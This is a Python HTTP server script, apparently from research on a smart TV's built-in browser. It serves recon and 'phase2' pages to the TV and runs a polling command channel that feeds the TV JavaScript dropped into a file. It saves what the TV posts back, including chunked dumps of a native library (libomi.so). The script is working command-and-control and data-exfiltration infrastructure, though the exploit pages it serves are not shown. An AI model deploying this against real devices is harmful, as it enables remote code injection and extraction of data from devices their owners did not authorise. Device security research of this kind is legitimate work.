#!/usr/bin/env python3 """Serves recon.html to the TV and captures what the TV POSTs back. Run: python3 server.py [port] (default 9000) The TV opens http://:9000/ in its built-in browser. Captures land in ./captures/ as timestamped .txt files. """ import http.server, socketserver, os, sys, datetime, itertools, urllib.parse HERE = os.path.dirname(os.path.abspath(__file__)) CAP = os.path.join(HERE, "captures"); os.makedirs(CAP, exist_ok=True) PAGE = os.path.join(HERE, "recon.html") SEQ = itertools.count() class H(http.server.BaseHTTPRequestHandler): def log_message(self, *a): pass def _send(self, code, body, ctype="text/html; charset=utf-8"): self.send_response(code) self.send_header("Content-Type", ctype) self.send_header("Content-Length", str(len(body))) self.send_header("Cache-Control", "no-store") self.send_header("Access-Control-Allow-Origin", "*") self.end_headers() self.wfile.write(body) def do_GET(self): # Live command channel: the TV polls /cmd; the host drops a JS command # into live_cmd.txt. The file is consumed atomically enough for one TV. if self.path.split("?")[0] != "/cmd": print(f"[GET] {self.path} ua={self.headers.get('User-Agent','')[:40]}", flush=True) if self.path.split("?")[0] == "/cmd": cp = os.path.join(HERE, "live_cmd.txt") try: if os.path.exists(cp): with open(cp, "rb") as fh: body = fh.read() os.remove(cp) self._send(200, body, "text/plain; charset=utf-8") else: self._send(204, b"", "text/plain; charset=utf-8") except Exception as e: self._send(500, str(e).encode(), "text/plain; charset=utf-8") return if self.path.startswith("/pub/"): name = os.path.basename(urllib.parse.urlsplit(self.path).path) p = os.path.join(HERE, "pub", name) if os.path.exists(p): with open(p, "rb") as fh: body = fh.read() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Disposition", 'attachment; filename="%s"' % name) self.send_header("Content-Length", str(len(body))) self.send_header("Cache-Control", "no-store") self.send_header("Access-Control-Allow-Origin", "*") self.end_headers() self.wfile.write(body) else: self._send(404, b"not found", "text/plain") return routes = { "/": PAGE, "/recon.html": PAGE, "/index.html": PAGE, "/phase2.html": os.path.join(HERE, "phase2.html"), "/phase.js": os.path.join(HERE, "phase.js"), "/icon.png": os.path.join(HERE, "icon.png"), } f = routes.get(self.path.split("?")[0]) if f and os.path.exists(f): if f.endswith(".png"): ctype = "image/png" elif f.endswith(".js"): ctype = "application/javascript; charset=utf-8" else: ctype = "text/html; charset=utf-8" with open(f, "rb") as fh: self._send(200, fh.read(), ctype) else: self._send(404, b"not found", "text/plain") def do_POST(self): path = urllib.parse.urlsplit(self.path).path if path == "/dump": q = urllib.parse.parse_qs(urllib.parse.urlsplit(self.path).query) off = int(q.get("off", ["0"])[0]) total = int(q.get("total", ["0"])[0]) name = os.path.basename(q.get("name", ["libomi.so"])[0]) or "libomi.so" n = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(n) d = os.path.join(HERE, ".re", "dumps", "tv") os.makedirs(d, exist_ok=True) p = os.path.join(d, name) with open(p, "wb" if off == 0 else "r+b") as f: f.seek(off) f.write(body) print(f"[+] dump off={off} len={len(body)} total={total}", flush=True) self._send(200, b"ok", "text/plain") return if path != "/recon": self._send(404, b"not found", "text/plain"); return n = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(n).decode("utf-8", "replace") ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S") seq = next(SEQ) p = os.path.join(CAP, f"recon-{ts}-{seq:06d}.txt") with open(p, "w") as f: f.write(body) print(f"[+] captured {len(body)} bytes -> {p}", flush=True) self._send(200, b"ok", "text/plain") if __name__ == "__main__": port = int(sys.argv[1]) if len(sys.argv) > 1 else 9000 socketserver.TCPServer.allow_reuse_address = True with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as httpd: print(f"[*] serving recon on http://0.0.0.0:{port}/ (captures -> {CAP})", flush=True) httpd.serve_forever()